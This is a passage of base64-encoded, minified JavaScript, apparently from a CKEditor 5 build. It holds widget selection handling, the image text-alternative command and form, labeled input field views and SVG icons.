ldExhc3RQb3NpdGlvbigpO2NvbnN0IG49cXYoaSx0LCJmb3J3YXJkIik7aWYoIW4pe3JldHVybiBudWxsfWNvbnN0IG89aS5jcmVhdGVSYW5nZSh0LG4pO2NvbnN0IHI9WXYoaS5zY2hlbWEsbywiYmFja3dhcmQiKTtpZihyJiZ0LmlzQmVmb3JlKHIpKXtyZXR1cm4gaS5jcmVhdGVSYW5nZSh0LHIpfXJldHVybiBudWxsfWVsc2V7Y29uc3QgdD1lLmlzQ29sbGFwc2VkP2UuZm9jdXM6ZS5nZXRGaXJzdFBvc2l0aW9uKCk7Y29uc3Qgbj1xdihpLHQsImJhY2t3YXJkIik7aWYoIW4pe3JldHVybiBudWxsfWNvbnN0IG89aS5jcmVhdGVSYW5nZShuLHQpO2NvbnN0IHI9WXYoaS5zY2hlbWEsbywiZm9yd2FyZCIpO2lmKHImJnQuaXNBZnRlcihyKSl7cmV0dXJuIGkuY3JlYXRlUmFuZ2Uocix0KX1yZXR1cm4gbnVsbH19ZnVuY3Rpb24gcXYodCxlLG4pe2NvbnN0IGk9dC5zY2hlbWE7Y29uc3Qgbz10LmNyZWF0ZVJhbmdlSW4oZS5yb290KTtjb25zdCByPW49PSJmb3J3YXJkIj8iZWxlbWVudFN0YXJ0IjoiZWxlbWVudEVuZCI7Zm9yKGNvbnN0e3ByZXZpb3VzUG9zaXRpb246dCxpdGVtOnMsdHlwZTphfW9mIG8uZ2V0V2Fsa2VyKHtzdGFydFBvc2l0aW9uOmUsZGlyZWN0aW9uOm59KSl7aWYoaS5pc0xpbWl0KHMpJiYhaS5pc0lubGluZShzKSl7cmV0dXJuIHR9aWYoYT09ciYmaS5pc0Jsb2NrKHMpKXtyZXR1cm4gbnVsbH19cmV0dXJuIG51bGx9ZnVuY3Rpb24gWXYodCxlLG4pe2NvbnN0IGk9bj09ImJhY2t3YXJkIj9lLmVuZDplLnN0YXJ0O2lmKHQuY2hlY2tDaGlsZChpLCIkdGV4dCIpKXtyZXR1cm4gaX1mb3IoY29uc3R7bmV4dFBvc2l0aW9uOml9b2YgZS5nZXRXYWxrZXIoe2RpcmVjdGlvbjpufSkpe2lmKHQuY2hlY2tDaGlsZChpLCIkdGV4dCIpKXtyZXR1cm4gaX19fWZ1bmN0aW9uIFF2KHQsZSxuKXtjb25zdCBpPXQubW9kZWw7Y29uc3Qgbz10LnZpZXcuZG9tQ29udmVydGVyO2lmKG4pe2NvbnN0IHQ9aS5jcmVhdGVTZWxlY3Rpb24oZS5zdGFydCk7aS5tb2RpZnlTZWxlY3Rpb24odCk7aWYoIXQuZm9jdXMuaXNBdEVuZCYmIWUuc3RhcnQuaXNFcXVhbCh0LmZvY3VzKSl7ZT1pLmNyZWF0ZVJhbmdlKHQuZm9jdXMsZS5lbmQpfX1jb25zdCByPXQubWFwcGVyLnRvVmlld1JhbmdlKGUpO2NvbnN0IHM9by52aWV3UmFuZ2VUb0RvbShyKTtjb25zdCBhPUVoLmdldERvbVJhbmdlUmVjdHMocyk7bGV0IGM7Zm9yKGNvbnN0IHQgb2YgYSl7aWYoYz09PXVuZGVmaW5lZCl7Yz1NYXRoLnJvdW5kKHQuYm90dG9tKTtjb250aW51ZX1pZihNYXRoLnJvdW5kKHQudG9wKT49Yyl7cmV0dXJuIGZhbHNlfWM9TWF0aC5tYXgoYyxNYXRoLnJvdW5kKHQuYm90dG9tKSl9cmV0dXJuIHRydWV9ZnVuY3Rpb24gJHYodCxlKXtyZXR1cm4hdC5pc0NvbGxhcHNlZCYmdC5pc0JhY2t3YXJkPT1lfWNsYXNzIEp2IGV4dGVuZHMgbkN7c3RhdGljIGdldCBwbHVnaW5OYW1lKCl7cmV0dXJuIldpZGdldCJ9c3RhdGljIGdldCByZXF1aXJlcygpe3JldHVybltMdl19aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IuZWRpdGluZy52aWV3O2NvbnN0IGU9dC5kb2N1bWVudDt0aGlzLl9wcmV2aW91c2x5U2VsZWN0ZWQ9bmV3IFNldDt0aGlzLmVkaXRvci5lZGl0aW5nLmRvd25jYXN0RGlzcGF0Y2hlci5vbigic2VsZWN0aW9uIiwoKHQsZSxuKT0+e3RoaXMuX2NsZWFyUHJldmlvdXNseVNlbGVjdGVkV2lkZ2V0cyhuLndyaXRlcik7Y29uc3QgaT1uLndyaXRlcjtjb25zdCBvPWkuZG9jdW1lbnQuc2VsZWN0aW9uO2NvbnN0IHI9by5nZXRTZWxlY3RlZEVsZW1lbnQoKTtsZXQgcz1udWxsO2Zvcihjb25zdCB0IG9mIG8uZ2V0UmFuZ2VzKCkpe2Zvcihjb25zdCBlIG9mIHQpe2NvbnN0IHQ9ZS5pdGVtO2lmKFhfKHQpJiYhWHYodCxzKSl7aS5hZGRDbGFzcyhaXyx0KTt0aGlzLl9wcmV2aW91c2x5U2VsZWN0ZWQuYWRkKHQpO3M9dDtpZih0PT1yKXtpLnNldFNlbGVjdGlvbihvLmdldFJhbmdlcygpLHtmYWtlOnRydWUsbGFiZWw6aXYocil9KX19fX19KSx7cHJpb3JpdHk6ImxvdyJ9KTt0LmFkZE9ic2VydmVyKEV2KTt0aGlzLmxpc3RlblRvKGUsIm1vdXNlZG93biIsKCguLi50KT0+dGhpcy5fb25Nb3VzZWRvd24oLi4udCkpKTt0aGlzLmxpc3RlblRvKGUsImtleWRvd24iLCgoLi4udCk9Pnt0aGlzLl9oYW5kbGVTZWxlY3Rpb25DaGFuZ2VPbkFycm93S2V5UHJlc3MoLi4udCl9KSx7cHJpb3JpdHk6ImhpZ2gifSk7dGhpcy5saXN0ZW5UbyhlLCJrZXlkb3duIiwoKC4uLnQpPT57dGhpcy5fcHJldmVudERlZmF1bHRPbkFycm93S2V5UHJlc3MoLi4udCl9KSx7cHJpb3JpdHk6b3MuZ2V0KCJoaWdoIiktMjB9KTt0aGlzLmxpc3RlblRvKGUsImtleWRvd24iLFd2KHRoaXMuZWRpdG9yLmVkaXRpbmcpKTt0aGlzLmxpc3RlblRvKGUsImRlbGV0ZSIsKCh0LGUpPT57aWYodGhpcy5faGFuZGxlRGVsZXRlKGUuZGlyZWN0aW9uPT0iZm9yd2FyZCIpKXtlLnByZXZlbnREZWZhdWx0KCk7dC5zdG9wKCl9fSkse3ByaW9yaXR5OiJoaWdoIn0pfV9vbk1vdXNlZG93bih0LGUpe2NvbnN0IG49dGhpcy5lZGl0b3I7Y29uc3QgaT1uLmVkaXRpbmcudmlldztjb25zdCBvPWkuZG9jdW1lbnQ7bGV0IHI9ZS50YXJnZXQ7aWYoWnYocikpe2lmKChFbC5pc1NhZmFyaXx8RWwuaXNHZWNrbykmJmUuZG9tRXZlbnQuZGV0YWlsPj0zKXtjb25zdCB0PW4uZWRpdGluZy5tYXBwZXI7Y29uc3QgaT1yLmlzKCJhdHRyaWJ1dGVFbGVtZW50Iik/ci5maW5kQW5jZXN0b3IoKHQ9PiF0LmlzKCJhdHRyaWJ1dGVFbGVtZW50IikpKTpyO2NvbnN0IG89dC50b01vZGVsRWxlbWVudChpKTtlLnByZXZlbnREZWZhdWx0KCk7dGhpcy5lZGl0b3IubW9kZWwuY2hhbmdlKCh0PT57dC5zZXRTZWxlY3Rpb24obywiaW4iKX0pKX1yZXR1cm59aWYoIVhfKHIpKXtyPXIuZmluZEFuY2VzdG9yKFhfKTtpZighcil7cmV0dXJufX1lLnByZXZlbnREZWZhdWx0KCk7aWYoIW8uaXNGb2N1c2VkKXtpLmZvY3VzKCl9Y29uc3Qgcz1uLmVkaXRpbmcubWFwcGVyLnRvTW9kZWxFbGVtZW50KHIpO3RoaXMuX3NldFNlbGVjdGlvbk92ZXJFbGVtZW50KHMpfV9oYW5kbGVTZWxlY3Rpb25DaGFuZ2VPbkFycm93S2V5UHJlc3ModCxlKXtjb25zdCBuPWUua2V5Q29kZTtpZighRmwobikpe3JldHVybn1jb25zdCBpPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG89aS5zY2hlbWE7Y29uc3Qgcj1pLmRvY3VtZW50LnNlbGVjdGlvbjtjb25zdCBzPXIuZ2V0U2VsZWN0ZWRFbGVtZW50KCk7Y29uc3QgYT1VbChuLHRoaXMuZWRpdG9yLmxvY2FsZS5jb250ZW50TGFuZ3VhZ2VEaXJlY3Rpb24pO2lmKHMmJm8uaXNPYmplY3Qocykpe2NvbnN0IG49YT9yLmdldExhc3RQb3NpdGlvbigpOnIuZ2V0Rmlyc3RQb3NpdGlvbigpO2NvbnN0IHM9by5nZXROZWFyZXN0U2VsZWN0aW9uUmFuZ2UobixhPyJmb3J3YXJkIjoiYmFja3dhcmQiKTtpZihzKXtpLmNoYW5nZSgodD0+e3Quc2V0U2VsZWN0aW9uKHMpfSkpO2UucHJldmVudERlZmF1bHQoKTt0LnN0b3AoKX1yZXR1cm59aWYoIXIuaXNDb2xsYXBzZWQpe3JldHVybn1jb25zdCBjPXRoaXMuX2dldE9iamVjdEVsZW1lbnROZXh0VG9TZWxlY3Rpb24oYSk7aWYoYyYmby5pc09iamVjdChjKSl7dGhpcy5fc2V0U2VsZWN0aW9uT3ZlckVsZW1lbnQoYyk7ZS5wcmV2ZW50RGVmYXVsdCgpO3Quc3RvcCgpfX1fcHJldmVudERlZmF1bHRPbkFycm93S2V5UHJlc3ModCxlKXtjb25zdCBuPWUua2V5Q29kZTtpZighRmwobikpe3JldHVybn1jb25zdCBpPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG89aS5zY2hlbWE7Y29uc3Qgcj1pLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEVsZW1lbnQoKTtpZihyJiZvLmlzT2JqZWN0KHIpKXtlLnByZXZlbnREZWZhdWx0KCk7dC5zdG9wKCl9fV9oYW5kbGVEZWxldGUodCl7aWYodGhpcy5lZGl0b3IuaXNSZWFkT25seSl7cmV0dXJufWNvbnN0IGU9dGhpcy5lZGl0b3IubW9kZWwuZG9jdW1lbnQ7Y29uc3Qgbj1lLnNlbGVjdGlvbjtpZighbi5pc0NvbGxhcHNlZCl7cmV0dXJufWNvbnN0IGk9dGhpcy5fZ2V0T2JqZWN0RWxlbWVudE5leHRUb1NlbGVjdGlvbih0KTtpZihpKXt0aGlzLmVkaXRvci5tb2RlbC5jaGFuZ2UoKHQ9PntsZXQgZT1uLmFuY2hvci5wYXJlbnQ7d2hpbGUoZS5pc0VtcHR5KXtjb25zdCBuPWU7ZT1uLnBhcmVudDt0LnJlbW92ZShuKX10aGlzLl9zZXRTZWxlY3Rpb25PdmVyRWxlbWVudChpKX0pKTtyZXR1cm4gdHJ1ZX19X3NldFNlbGVjdGlvbk92ZXJFbGVtZW50KHQpe3RoaXMuZWRpdG9yLm1vZGVsLmNoYW5nZSgoZT0+e2Uuc2V0U2VsZWN0aW9uKGUuY3JlYXRlUmFuZ2VPbih0KSl9KSl9X2dldE9iamVjdEVsZW1lbnROZXh0VG9TZWxlY3Rpb24odCl7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWUuc2NoZW1hO2NvbnN0IGk9ZS5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3Qgbz1lLmNyZWF0ZVNlbGVjdGlvbihpKTtlLm1vZGlmeVNlbGVjdGlvbihvLHtkaXJlY3Rpb246dD8iZm9yd2FyZCI6ImJhY2t3YXJkIn0pO2NvbnN0IHI9dD9vLmZvY3VzLm5vZGVCZWZvcmU6by5mb2N1cy5ub2RlQWZ0ZXI7aWYoISFyJiZuLmlzT2JqZWN0KHIpKXtyZXR1cm4gcn1yZXR1cm4gbnVsbH1fY2xlYXJQcmV2aW91c2x5U2VsZWN0ZWRXaWRnZXRzKHQpe2Zvcihjb25zdCBlIG9mIHRoaXMuX3ByZXZpb3VzbHlTZWxlY3RlZCl7dC5yZW1vdmVDbGFzcyhaXyxlKX10aGlzLl9wcmV2aW91c2x5U2VsZWN0ZWQuY2xlYXIoKX19ZnVuY3Rpb24gWnYodCl7d2hpbGUodCl7aWYodC5pcygiZWRpdGFibGVFbGVtZW50IikmJiF0LmlzKCJyb290RWxlbWVudCIpKXtyZXR1cm4gdHJ1ZX1pZihYXyh0KSl7cmV0dXJuIGZhbHNlfXQ9dC5wYXJlbnR9cmV0dXJuIGZhbHNlfWZ1bmN0aW9uIFh2KHQsZSl7aWYoIWUpe3JldHVybiBmYWxzZX1yZXR1cm4gQXJyYXkuZnJvbSh0LmdldEFuY2VzdG9ycygpKS5pbmNsdWRlcyhlKX1jbGFzcyB0eSBleHRlbmRzIG9De3JlZnJlc2goKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEVsZW1lbnQoKTt0aGlzLmlzRW5hYmxlZD1mdih0KTtpZihmdih0KSYmdC5oYXNBdHRyaWJ1dGUoImFsdCIpKXt0aGlzLnZhbHVlPXQuZ2V0QXR0cmlidXRlKCJhbHQiKX1lbHNle3RoaXMudmFsdWU9ZmFsc2V9fWV4ZWN1dGUodCl7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWUuZG9jdW1lbnQuc2VsZWN0aW9uLmdldFNlbGVjdGVkRWxlbWVudCgpO2UuY2hhbmdlKChlPT57ZS5zZXRBdHRyaWJ1dGUoImFsdCIsdC5uZXdWYWx1ZSxuKX0pKX19Y2xhc3MgZXkgZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VUZXh0QWx0ZXJuYXRpdmVFZGl0aW5nIn1pbml0KCl7dGhpcy5lZGl0b3IuY29tbWFuZHMuYWRkKCJpbWFnZVRleHRBbHRlcm5hdGl2ZSIsbmV3IHR5KHRoaXMuZWRpdG9yKSl9fXZhciBueT1uKDMyKTt2YXIgaXk9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtpeS5pbnNlcnQ9ImhlYWQiO2l5LnNpbmdsZXRvbj10cnVlO3ZhciBveT1yaygpKG55WyJhIl0saXkpO3ZhciByeT1ueVsiYSJdLmxvY2Fsc3x8e307Y2xhc3Mgc3kgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcih0LGUpe3N1cGVyKHQpO2NvbnN0IG49YGNrLWxhYmVsZWQtZmllbGQtdmlldy0ke25zKCl9YDtjb25zdCBpPWBjay1sYWJlbGVkLWZpZWxkLXZpZXctc3RhdHVzLSR7bnMoKX1gO3RoaXMuZmllbGRWaWV3PWUodGhpcyxuLGkpO3RoaXMuc2V0KCJsYWJlbCIpO3RoaXMuc2V0KCJpc0VuYWJsZWQiLHRydWUpO3RoaXMuc2V0KCJpc0VtcHR5Iix0cnVlKTt0aGlzLnNldCgiaXNGb2N1c2VkIixmYWxzZSk7dGhpcy5zZXQoImVycm9yVGV4dCIsbnVsbCk7dGhpcy5zZXQoImluZm9UZXh0IixudWxsKTt0aGlzLnNldCgiY2xhc3MiKTt0aGlzLnNldCgicGxhY2Vob2xkZXIiKTt0aGlzLmxhYmVsVmlldz10aGlzLl9jcmVhdGVMYWJlbFZpZXcobik7dGhpcy5zdGF0dXNWaWV3PXRoaXMuX2NyZWF0ZVN0YXR1c1ZpZXcoaSk7dGhpcy5iaW5kKCJfc3RhdHVzVGV4dCIpLnRvKHRoaXMsImVycm9yVGV4dCIsdGhpcywiaW5mb1RleHQiLCgodCxlKT0+dHx8ZSkpO2NvbnN0IG89dGhpcy5iaW5kVGVtcGxhdGU7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1sYWJlbGVkLWZpZWxkLXZpZXciLG8udG8oImNsYXNzIiksby5pZigiaXNFbmFibGVkIiwiY2stZGlzYWJsZWQiLCh0PT4hdCkpLG8uaWYoImlzRW1wdHkiLCJjay1sYWJlbGVkLWZpZWxkLXZpZXdfZW1wdHkiKSxvLmlmKCJpc0ZvY3VzZWQiLCJjay1sYWJlbGVkLWZpZWxkLXZpZXdfZm9jdXNlZCIpLG8uaWYoInBsYWNlaG9sZGVyIiwiY2stbGFiZWxlZC1maWVsZC12aWV3X3BsYWNlaG9sZGVyIiksby5pZigiZXJyb3JUZXh0IiwiY2stZXJyb3IiKV19LGNoaWxkcmVuOlt7dGFnOiJkaXYiLGF0dHJpYnV0ZXM6e2NsYXNzOlsiY2siLCJjay1sYWJlbGVkLWZpZWxkLXZpZXdfX2lucHV0LXdyYXBwZXIiXX0sY2hpbGRyZW46W3RoaXMuZmllbGRWaWV3LHRoaXMubGFiZWxWaWV3XX0sdGhpcy5zdGF0dXNWaWV3XX0pfV9jcmVhdGVMYWJlbFZpZXcodCl7Y29uc3QgZT1uZXcgZ2IodGhpcy5sb2NhbGUpO2UuZm9yPXQ7ZS5iaW5kKCJ0ZXh0IikudG8odGhpcywibGFiZWwiKTtyZXR1cm4gZX1fY3JlYXRlU3RhdHVzVmlldyh0KXtjb25zdCBlPW5ldyB0Yih0aGlzLmxvY2FsZSk7Y29uc3Qgbj10aGlzLmJpbmRUZW1wbGF0ZTtlLnNldFRlbXBsYXRlKHt0YWc6ImRpdiIsYXR0cmlidXRlczp7Y2xhc3M6WyJjayIsImNrLWxhYmVsZWQtZmllbGQtdmlld19fc3RhdHVzIixuLmlmKCJlcnJvclRleHQiLCJjay1sYWJlbGVkLWZpZWxkLXZpZXdfX3N0YXR1c19lcnJvciIpLG4uaWYoIl9zdGF0dXNUZXh0IiwiY2staGlkZGVuIiwodD0+IXQpKV0saWQ6dCxyb2xlOm4uaWYoImVycm9yVGV4dCIsImFsZXJ0Iil9LGNoaWxkcmVuOlt7dGV4dDpuLnRvKCJfc3RhdHVzVGV4dCIpfV19KTtyZXR1cm4gZX1mb2N1cygpe3RoaXMuZmllbGRWaWV3LmZvY3VzKCl9fXZhciBheT1uKDMzKTt2YXIgY3k9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtjeS5pbnNlcnQ9ImhlYWQiO2N5LnNpbmdsZXRvbj10cnVlO3ZhciBseT1yaygpKGF5WyJhIl0sY3kpO3ZhciBkeT1heVsiYSJdLmxvY2Fsc3x8e307Y2xhc3MgdXkgZXh0ZW5kcyB0Yntjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLnNldCgidmFsdWUiKTt0aGlzLnNldCgiaWQiKTt0aGlzLnNldCgicGxhY2Vob2xkZXIiKTt0aGlzLnNldCgiaXNSZWFkT25seSIsZmFsc2UpO3RoaXMuc2V0KCJoYXNFcnJvciIsZmFsc2UpO3RoaXMuc2V0KCJhcmlhRGVzY3JpYmVkQnlJZCIpO3RoaXMuZm9jdXNUcmFja2VyPW5ldyB0azt0aGlzLmJpbmQoImlzRm9jdXNlZCIpLnRvKHRoaXMuZm9jdXNUcmFja2VyKTt0aGlzLnNldCgiaXNFbXB0eSIsdHJ1ZSk7Y29uc3QgZT10aGlzLmJpbmRUZW1wbGF0ZTt0aGlzLnNldFRlbXBsYXRlKHt0YWc6ImlucHV0IixhdHRyaWJ1dGVzOnt0eXBlOiJ0ZXh0IixjbGFzczpbImNrIiwiY2staW5wdXQiLCJjay1pbnB1dC10ZXh0IixlLmlmKCJpc0ZvY3VzZWQiLCJjay1pbnB1dF9mb2N1c2VkIiksZS5pZigiaXNFbXB0eSIsImNrLWlucHV0LXRleHRfZW1wdHkiKSxlLmlmKCJoYXNFcnJvciIsImNrLWVycm9yIildLGlkOmUudG8oImlkIikscGxhY2Vob2xkZXI6ZS50bygicGxhY2Vob2xkZXIiKSxyZWFkb25seTplLnRvKCJpc1JlYWRPbmx5IiksImFyaWEtaW52YWxpZCI6ZS5pZigiaGFzRXJyb3IiLHRydWUpLCJhcmlhLWRlc2NyaWJlZGJ5IjplLnRvKCJhcmlhRGVzY3JpYmVkQnlJZCIpfSxvbjp7aW5wdXQ6ZS50bygiaW5wdXQiKSxjaGFuZ2U6ZS50byh0aGlzLl91cGRhdGVJc0VtcHR5LmJpbmQodGhpcykpfX0pfXJlbmRlcigpe3N1cGVyLnJlbmRlcigpO3RoaXMuZm9jdXNUcmFja2VyLmFkZCh0aGlzLmVsZW1lbnQpO3RoaXMuX3NldERvbUVsZW1lbnRWYWx1ZSh0aGlzLnZhbHVlKTt0aGlzLl91cGRhdGVJc0VtcHR5KCk7dGhpcy5vbigiY2hhbmdlOnZhbHVlIiwoKHQsZSxuKT0+e3RoaXMuX3NldERvbUVsZW1lbnRWYWx1ZShuKTt0aGlzLl91cGRhdGVJc0VtcHR5KCl9KSl9c2VsZWN0KCl7dGhpcy5lbGVtZW50LnNlbGVjdCgpfWZvY3VzKCl7dGhpcy5lbGVtZW50LmZvY3VzKCl9X3VwZGF0ZUlzRW1wdHkoKXt0aGlzLmlzRW1wdHk9aHkodGhpcy5lbGVtZW50KX1fc2V0RG9tRWxlbWVudFZhbHVlKHQpe3RoaXMuZWxlbWVudC52YWx1ZT0hdCYmdCE9PTA/IiI6dH19ZnVuY3Rpb24gaHkodCl7cmV0dXJuIXQudmFsdWV9ZnVuY3Rpb24gZnkodCxlLG4pe2NvbnN0IGk9bmV3IHV5KHQubG9jYWxlKTtpLnNldCh7aWQ6ZSxhcmlhRGVzY3JpYmVkQnlJZDpufSk7aS5iaW5kKCJpc1JlYWRPbmx5IikudG8odCwiaXNFbmFibGVkIiwodD0+IXQpKTtpLmJpbmQoImhhc0Vycm9yIikudG8odCwiZXJyb3JUZXh0IiwodD0+ISF0KSk7aS5vbigiaW5wdXQiLCgoKT0+e3QuZXJyb3JUZXh0PW51bGx9KSk7dC5iaW5kKCJpc0VtcHR5IiwiaXNGb2N1c2VkIiwicGxhY2Vob2xkZXIiKS50byhpKTtyZXR1cm4gaX1mdW5jdGlvbiBteSh0LGUsbil7Y29uc3QgaT1Odyh0LmxvY2FsZSk7aS5zZXQoe2lkOmUsYXJpYURlc2NyaWJlZEJ5SWQ6bn0pO2kuYmluZCgiaXNFbmFibGVkIikudG8odCk7cmV0dXJuIGl9ZnVuY3Rpb24gZ3kodCl7dC5zZXQoIl9pc0Nzc1RyYW5zaXRpb25zRGlzYWJsZWQiLGZhbHNlKTt0LmRpc2FibGVDc3NUcmFuc2l0aW9ucz0oKT0+e3QuX2lzQ3NzVHJhbnNpdGlvbnNEaXNhYmxlZD10cnVlfTt0LmVuYWJsZUNzc1RyYW5zaXRpb25zPSgpPT57dC5faXNDc3NUcmFuc2l0aW9uc0Rpc2FibGVkPWZhbHNlfTt0LmV4dGVuZFRlbXBsYXRlKHthdHRyaWJ1dGVzOntjbGFzczpbdC5iaW5kVGVtcGxhdGUuaWYoIl9pc0Nzc1RyYW5zaXRpb25zRGlzYWJsZWQiLCJjay10cmFuc2l0aW9ucy1kaXNhYmxlZCIpXX19KX1mdW5jdGlvbiBweSh7dmlldzp0fSl7dC5saXN0ZW5Ubyh0LmVsZW1lbnQsInN1Ym1pdCIsKChlLG4pPT57bi5wcmV2ZW50RGVmYXVsdCgpO3QuZmlyZSgic3VibWl0Iil9KSx7dXNlQ2FwdHVyZTp0cnVlfSl9dmFyIGt5PSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNi45NzIgMTYuNjE1YS45OTcuOTk3IDAgMCAxLS43NDQtLjI5MmwtNC41OTYtNC41OTZhMSAxIDAgMSAxIDEuNDE0LTEuNDE0bDMuOTI2IDMuOTI2IDkuOTM3LTkuOTM3YTEgMSAwIDAgMSAxLjQxNCAxLjQxNUw3LjcxNyAxNi4zMjNhLjk5Ny45OTcgMCAwIDEtLjc0NS4yOTJ6Ii8+PC9zdmc+Jzt2YXIgYnk9Jzxzdmcgdmlld0JveD0iMCAwIDIwIDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0xMS41OTEgMTAuMTc3bDQuMjQzIDQuMjQyYTEgMSAwIDAgMS0xLjQxNSAxLjQxNWwtNC4yNDItNC4yNDMtNC4yNDMgNC4yNDNhMSAxIDAgMCAxLTEuNDE0LTEuNDE1bDQuMjQzLTQuMjQyTDQuNTIgNS45MzRBMSAxIDAgMCAxIDUuOTM0IDQuNTJsNC4yNDMgNC4yNDMgNC4yNDItNC4yNDNhMSAxIDAgMSAxIDEuNDE1IDEuNDE0bC00LjI0MyA0LjI0M3oiLz48L3N2Zz4nO3ZhciB3eT1uKDM0KTt2YXIgQ3k9e2luamVjdFR5cGU6InNpbmdsZXRvblN0eWxlVGFnIixhdHRyaWJ1dGVzOnsiZGF0YS1ja2UiOnRydWV9fTtDeS5pbnNlcnQ9ImhlYWQiO0N5LnNpbmdsZXRvbj10cnVlO3ZhciBBeT1yaygpKHd5WyJhIl0sQ3kpO3ZhciBfeT13eVsiYSJdLmxvY2Fsc3x8e307dmFyIHZ5PW4oMzUpO3ZhciB5eT17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O3l5Lmluc2VydD0iaGVhZCI7eXkuc2luZ2xldG9uPXRydWU7dmFyIHh5PXJrKCkodnlbImEiXSx5eSk7dmFyIER5PXZ5WyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBFeSBleHRlbmRzIHRie2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO2NvbnN0IGU9dGhpcy5sb2NhbGUudDt0aGlzLmZvY3VzVHJhY2tlcj1uZXcgdGs7dGhpcy5rZXlzdHJva2VzPW5ldyBWcDt0aGlzLmxhYmVsZWRJbnB1dD10aGlzLl9jcmVhdGVMYWJlbGVkSW5wdXRWaWV3KCk7dGhpcy5zYXZlQnV0dG9uVmlldz10aGlzLl9jcmVhdGVCdXR0b24oZSgiU2F2ZSIpLGt5LCJjay1idXR0b24tc2F2ZSIpO3RoaXMuc2F2ZUJ1dHRvblZpZXcudHlwZT0ic3VibWl0Ijt0aGlzLmNhbmNlbEJ1dHRvblZpZXc9dGhpcy5fY3JlYXRlQnV0dG9uKGUoIkNhbmNlbCIpLGJ5LCJjay1idXR0b24tY2FuY2VsIiwiY2FuY2VsIik7dGhpcy5fZm9jdXNhYmxlcz1uZXcgQWs7dGhpcy5fZm9jdXNDeWNsZXI9bmV3IERiKHtmb2N1c2FibGVzOnRoaXMuX2ZvY3VzYWJsZXMsZm9jdXNUcmFja2VyOnRoaXMuZm9jdXNUcmFja2VyLGtleXN0cm9rZUhhbmRsZXI6dGhpcy5rZXlzdHJva2VzLGFjdGlvbnM6e2ZvY3VzUHJldmlvdXM6InNoaWZ0ICsgdGFiIixmb2N1c05leHQ6InRhYiJ9fSk7dGhpcy5zZXRUZW1wbGF0ZSh7dGFnOiJmb3JtIixhdHRyaWJ1dGVzOntjbGFzczpbImNrIiwiY2stdGV4dC1hbHRlcm5hdGl2ZS1mb3JtIiwiY2stcmVzcG9uc2l2ZS1mb3JtIl0sdGFiaW5kZXg6Ii0xIn0sY2hpbGRyZW46W3RoaXMubGFiZWxlZElucHV0LHRoaXMuc2F2ZUJ1dHRvblZpZXcsdGhpcy5jYW5jZWxCdXR0b25WaWV3XX0pO2d5KHRoaXMpfXJlbmRlcigpe3N1cGVyLnJlbmRlcigpO3RoaXMua2V5c3Ryb2tlcy5saXN0ZW5Ubyh0aGlzLmVsZW1lbnQpO3B5KHt2aWV3OnRoaXN9KTtbdGhpcy5sYWJlbGVkSW5wdXQsdGhpcy5zYXZlQnV0dG9uVmlldyx0aGlzLmNhbmNlbEJ1dHRvblZpZXddLmZvckVhY2goKHQ9Pnt0aGlzLl9mb2N1c2FibGVzLmFkZCh0KTt0aGlzLmZvY3VzVHJhY2tlci5hZGQodC5lbGVtZW50KX0pKX1fY3JlYXRlQnV0dG9uKHQsZSxuLGkpe2NvbnN0IG89bmV3IGN3KHRoaXMubG9jYWxlKTtvLnNldCh7bGFiZWw6dCxpY29uOmUsdG9vbHRpcDp0cnVlfSk7by5leHRlbmRUZW1wbGF0ZSh7YXR0cmlidXRlczp7Y2xhc3M6bn19KTtpZihpKXtvLmRlbGVnYXRlKCJleGVjdXRlIikudG8odGhpcyxpKX1yZXR1cm4gb31fY3JlYXRlTGFiZWxlZElucHV0Vmlldygpe2NvbnN0IHQ9dGhpcy5sb2NhbGUudDtjb25zdCBlPW5ldyBzeSh0aGlzLmxvY2FsZSxmeSk7ZS5sYWJlbD10KCJUZXh0IGFsdGVybmF0aXZlIik7cmV0dXJuIGV9fXZhciBNeT0nPHN2ZyB2aWV3Qm94PSIwIDAgMjAgMjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0iTTExLjQ2MyA1LjE4N2EuODg4Ljg4OCAwIDEgMSAxLjI1NCAxLjI1NUw5LjE2IDEwbDMuNTU3IDMuNTU3YS44ODguODg4IDAgMSAxLTEuMjU0IDEuMjU1TDcuMjYgMTAuNjFhLjg4OC44ODggMCAwIDEgLjE2LTEuMzgybDQuMDQzLTQuMDQyeiIvPjwvc3ZnPic7dmFyIFN5PSc8c3ZnIHZpZXdCb3g9IjAgMCAyMCAyMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNOC41MzcgMTQuODEzYS44ODguODg4IDAgMSAxLTEuMjU0LTEuMjU1TDEwLjg0IDEwIDcuMjgzIDYuNDQyYS44ODguODg4IDAgMSAxIDEuMjU0LTEuMjU1TDEyL